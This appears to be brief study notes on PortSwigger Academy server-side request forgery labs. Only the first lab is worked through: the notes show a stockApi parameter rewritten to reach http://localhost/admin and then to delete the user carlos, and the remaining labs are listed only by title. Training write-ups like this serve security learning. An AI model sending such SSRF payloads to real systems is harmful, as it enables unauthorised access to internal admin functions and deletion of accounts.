SSRF (Labs: Portswigger Academy)
Labs from PortSwigger Academy
Lab 1: Basic SSRF against the local server
stock check request:
POST /product/stock
stockApi=http://stock.weliketoshop.net:8080/product/stock/check?productId=1&storeId=1
editing the stockApi data to http://localhost/admin reveals Admin Panel
From which we can find the request to delete user carlos
POST /product/stock
stockApi=http://localhost/admin/delete?username=carlosLab 2: Basic SSRF against another back-end system
Lab 3: Blind SSRF with out-of-band detection
Lab 4: SSRF with blacklist-based input filter
Lab 5: SSRF with filter bypass via open redirection vulnerability
Lab 6: Blind SSRF with Shellshock exploitation
Lab 7: SSRF with whitelist-based input filter
Last updated